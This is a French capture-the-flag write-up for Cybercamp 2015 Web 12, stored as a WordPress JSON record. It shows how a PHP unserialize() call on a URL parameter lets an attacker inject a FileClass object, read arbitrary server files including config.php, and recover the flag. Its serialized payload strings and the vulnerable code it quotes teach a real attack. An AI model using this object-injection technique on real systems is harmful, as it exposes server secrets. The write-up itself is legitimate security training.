{"id":394,"date":"2015-08-02T00:17:58","date_gmt":"2015-08-01T22:17:58","guid":{"rendered":"https:\/\/0x90r00t.com\/?p=394"},"modified":"2015-08-02T00:38:31","modified_gmt":"2015-08-01T22:38:31","slug":"cybercamp-2015-web-12-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2015\/08\/02\/cybercamp-2015-web-12-write-up\/","title":{"rendered":"[Cybercamp 2015] [Web 12] Write Up"},"content":{"rendered":"<p>Sur la page d&rsquo;accueil, nous nous retrouvons devant un formulaire contenant plusieurs champs : name, age et un champ picture contenant une liste de fichiers d&rsquo;images.<\/p>\n<p>Une fois ce formulaire valid\u00e9, on se retrouve avec un recapitulatif de ce que nous avons entr\u00e9 ainsi que notre image encod\u00e9e en base64 dans le tag &lt;img&gt;. Rien d&rsquo;\u00e9trange jusqu&rsquo;ici.<br \/>\nPar contre en regardant dans l&rsquo;url de la page, nous retrouvons ce qui semble \u00eatre un objet serializ\u00e9 php.<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">http:\/\/challenge.cybercamp.es:8092\/show.php?u=&quot;O:4:&quot;User&quot;:3{s:3:&quot;age&quot;;s:6:&quot;sdvsdv&quot;;s:4:&quot;name&quot;;s:6:&quot;dsvsdv&quot;;s:7:&quot;picture&quot;;s:8:&quot;cat5.png&quot;;}&quot;<\/pre>\n<p>Et si on changeait ce cat5.png afin d&rsquo;afficher autre chose qu&rsquo;une image, par exemple le contenu de show.php ?<\/p>\n<p><!--more--><br \/>\nBingo ! Nous retrouvons le code de la page en base64 dans la balise img !<br \/>\nUne fois d\u00e9cod\u00e9, il apparait un include.<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;?php include('UClass.php'); $obj = unserialize($_GET&#x5B;'u']); echo $obj; ?&gt;\r\n<\/pre>\n<p>Nous utilisions alors la m\u00eame m\u00e9thode que pour r\u00e9cup\u00e9rer show.php mais cette fois-ci pour r\u00e9cup\u00e9rer UClass.php<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;?php include('config.php'); class FileClass { public $filename = 'error.log'; public function __toString() { return file_get_contents($this-&gt;filename);\r\n}\r\n}\r\n\r\nclass User\r\n{\r\npublic $age = 0;\r\npublic $name = '';\r\npublic $picture = 'null';\r\n\r\npublic function __toString()\r\n{\r\n$picture = $this-&gt;picture;\r\nif (preg_match(&quot;\/\\.\\.\/&quot;,$picture)) {\r\n$picture = &quot;null&quot;;\r\n}\r\nif (preg_match(&quot;\/config\/&quot;,$picture)) {\r\n$picture = &quot;null&quot;;\r\n}\r\nif (preg_match(&quot;\/\\\/\/&quot;,$picture)) {\r\n$picture = &quot;null&quot;;\r\n}\r\n\r\nif (preg_match(&quot;\/^\\.\/&quot;,$picture)) {\r\n$picture = &quot;null&quot;;\r\n}\r\nif (preg_match(&quot;\/:\/&quot;,$picture)) {\r\n$picture = &quot;null&quot;;\r\n}\r\n\r\nreturn '&lt;center&gt;Your cat &quot;' . $this-&gt;name . '&quot; is ' . $this-&gt;age . ' years old. \r\n\r\n' .\r\n'&lt;img height=&quot;200&quot; width=&quot;200&quot; src=&quot;data:image\/png;base64,' . base64_encode(file_get_contents($picture)) . '&quot;&gt;&lt;\/center&gt; \r\n\r\n';\r\n\r\n}\r\n}\r\n?&gt;\r\n<\/pre>\n<p>Nous voyons ici tout le code permettant \u00e0 la page de r\u00e9capitulatif de s&rsquo;afficher, ainsi qu&rsquo;un include de config.php.<br \/>\nLe souci maintenant c&rsquo;est que il y a un preg_match() qui nous bloque la r\u00e9cup\u00e9ration de config.php de la m\u00eame m\u00eame mani\u00e8re avec laquelle nous avons proc\u00e9d\u00e9 pour les autres fichiers.<br \/>\nCependant il y a la classe FileClass qui s&rsquo;occupe de faire un file_get_contents sans se soucier du fichier qu&rsquo;elle va lire.<br \/>\nNous allons alors cr\u00e9er un objet FileClass ayant comme variable $filename \u00ab\u00a0config.php\u00a0\u00bb,<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;?php class FileClass { public $filename = 'error.log'; } $obj = new FileClass(); echo serialize($obj); \/\/ O:9:&quot;FileClass&quot;:1:{s:8:&quot;filename&quot;;s:9:&quot;error.log&quot;;} ?&gt;\r\n<\/pre>\n<p>Une fois d\u00e9serializ\u00e9 cot\u00e9 serveur, la classe FileClass est instanci\u00e9e et ensuite le contenu de config.php est affich\u00e9 gr\u00e2ce au __toString(), ce qui nous donne le flag.<\/p>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n&lt;?php $you_are_cool=&quot;8df751c556681f8bd815a582351654fe&quot;; ?&gt;\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Sur la page d&rsquo;accueil, nous nous retrouvons devant un formulaire contenant plusieurs champs : name, age et un champ picture contenant une liste de fichiers d&rsquo;images. Une fois ce formulaire valid\u00e9, on se retrouve avec un recapitulatif de ce que nous avons entr\u00e9 ainsi que notre image encod\u00e9e en base64 dans le tag &lt;img&gt;. Rien &hellip; <a href=\"https:\/\/0x90r00t.com\/fr\/2015\/08\/02\/cybercamp-2015-web-12-write-up\/\" class=\"more-link\">Continuer la lecture de <span class=\"screen-reader-text\">[Cybercamp 2015] [Web 12] Write Up<\/span>  <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34,35,36],"tags":[],"class_list":["post-394","post","type-post","status-publish","format-standard","hentry","category-2015-fr","category-ctf-fr","category-cybercamp-fr"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/394","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=394"}],"version-history":[{"count":6,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/394\/revisions"}],"predecessor-version":[{"id":629,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/394\/revisions\/629"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=394"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=394"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=394"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}